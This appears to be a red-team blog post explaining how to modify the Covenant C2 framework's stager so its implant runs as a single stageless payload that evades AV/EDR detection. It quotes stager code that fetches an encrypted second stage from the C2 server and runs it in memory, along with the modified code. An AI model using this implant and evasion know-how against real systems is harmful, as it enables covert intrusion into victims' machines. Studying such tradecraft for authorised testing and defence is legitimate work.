Stageless HTTP in Covenant

This is a short post on how to use stageless HTTP Grunt’s in Covenant + some staged vs stageless thoughts from my side.

Staged vs. Stageless payloads

Many Command & Control Frameworks (C2) give the user the option to generate either staged or stageless payloads. Theese two options have different advantages and disadvantages.

For example Meterpreter, a staged payload can be generated via windows/meterpreter/reverse_https and stageless payloads are generated payload windows/meterpreter_reverse_https (“_” instead of “/”).

But what does this even mean?

Staged payloads

Staged payloads (Stage1) are small executables, that contact the C2-Server to grab a seccond payload (Stage2) from it to execute this (mostly) from memory. The advantages are:


Stageless payloads

Stageless payloads have everything included for the whole C2 implant to fully work and execute it’s tasks. Therefore no Stage2 is loaded at all. Advantages:


OpSec considerations

What is the best thing for your current situation? From my point of view that stronly depends on which C2 you are using and on which host or network detection systems are placed in your target environment.

Best case ideas:


In the last months I myself was only using stageless payloads due to staged payloads getting caught more and more often. But if you want to do some environmental keying checks before loading Stage2 a staged payload may fit better.

I personally also like the idea of obfuscating a whole Open Source public C2 to avoid detections. This should apply for Stage1/Stage2 and all loaded Modules (includes Mimikatz and all other tools used). But this may be a big overhead for most people. PlowSec recently wrote a good article (actually three in a row) including an automated tool to obfuscate the meterpreter source code. Worth reading.

Covenant & stageless payloads

Covenant comes with different protocol templates:

It is very easy to edit those templates or to build custom ones via the web application. But taking a look at all of those templates we’ll see that there are only staged payloads:

From time to time when getting detected is not that relevant in a project I was lazy and did setup a fresh Covenant instance, maybe even used my string replacements technique created default template payloads, which I obfuscated via public or commercial obfuscators. This was really fine for some years now to not get detected by any AV/EDR. But in the recent months, more and more vendors still detected it and I wondered why.

It was the points mentioned above. I did obfuscate Stage1 but Stage2 just had some string replacements and was still detected in memory after a memory scan. That sucks.

So I thought about changing the template code to have all nessesary code in one payload directly. And it was actually pretty easy to do so and not much work. The Covenant default StagerCode loads Stage2 in lines 194-206, which looks like that:

 Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
 extracted = Parse(Stage2Response, ProfileHttpPostResponse)[0];
 extracted = Encoding.UTF8.GetString(MessageTransform.Invert(extracted));
 parsed = Parse(extracted, MessageFormat);
 iv64str = parsed[3];
 message64str = parsed[4];
 hash64str = parsed[5];
 messageBytes = Convert.FromBase64String(message64str);
 if (hash64str != Convert.ToBase64String(hmac.ComputeHash(messageBytes))) { return; }
 SessionKey.IV = Convert.FromBase64String(iv64str);
 byte[] DecryptedAssembly = SessionKey.CreateDecryptor().TransformFinalBlock(messageBytes, 0, messageBytes.Length);
 Assembly gruntAssembly = Assembly.Load(DecryptedAssembly);
 gruntAssembly.GetTypes()[0].GetMethods()[0].Invoke(null, new Object[] { CovenantURI, CovenantCertHash, GUID, SessionKey });

Stage2 therefore is the compiled ExecutorCode which is loaded via Assembly.Load by Stage1. To build a single payload I just copied the Grunt class from the ExecutorCode into the GruntStager namespace of the StagerCode. You also need to import all nessesary libraries from the ExecutorCode.

You also need to remove the static declaration from the execute method to call it from within the GruntStager.

Doing so you can just replace the code from above which loads Stage2 with the following:

Stage2Response = wc.UploadString(CovenantURI + ProfileHttpUrls[random.Next(ProfileHttpUrls.Count)].Replace("{GUID}", GUID), String.Format(ProfileHttpPostRequest, transformedResponse));
Grunt Stage2 = new Grunt();
Stage2.Execute(CovenantURI, CovenantCertHash, GUID, SessionKey);

The Stage2-Request has still to be done here, as without doing so Covenant won’t register the new Grunt. You would also need to modify server side code to fully get rid of this request I guess. But we can remove the ExecutorCode, so that nothing will get served as Stage2 anyway.

Thats already it.

The example code can be found in this gist. Have fun playing with it.


Staged vs stageless payloads. A decision to be choosen by you as operator. I mentioned some advantages and disadvantages here, but I’m also sure there are many more considerations to take for this question.

However, in the recent months I did have the need for Covenant with stageless payloads. I used some obfuscators for this one Stage and the implant was not detected again, problem solved. This may also help you if you faced similar problems in the past.

Short one. Over and out.

If you like what I'm doing consider --> <-- or become a Patron for a coffee or beer.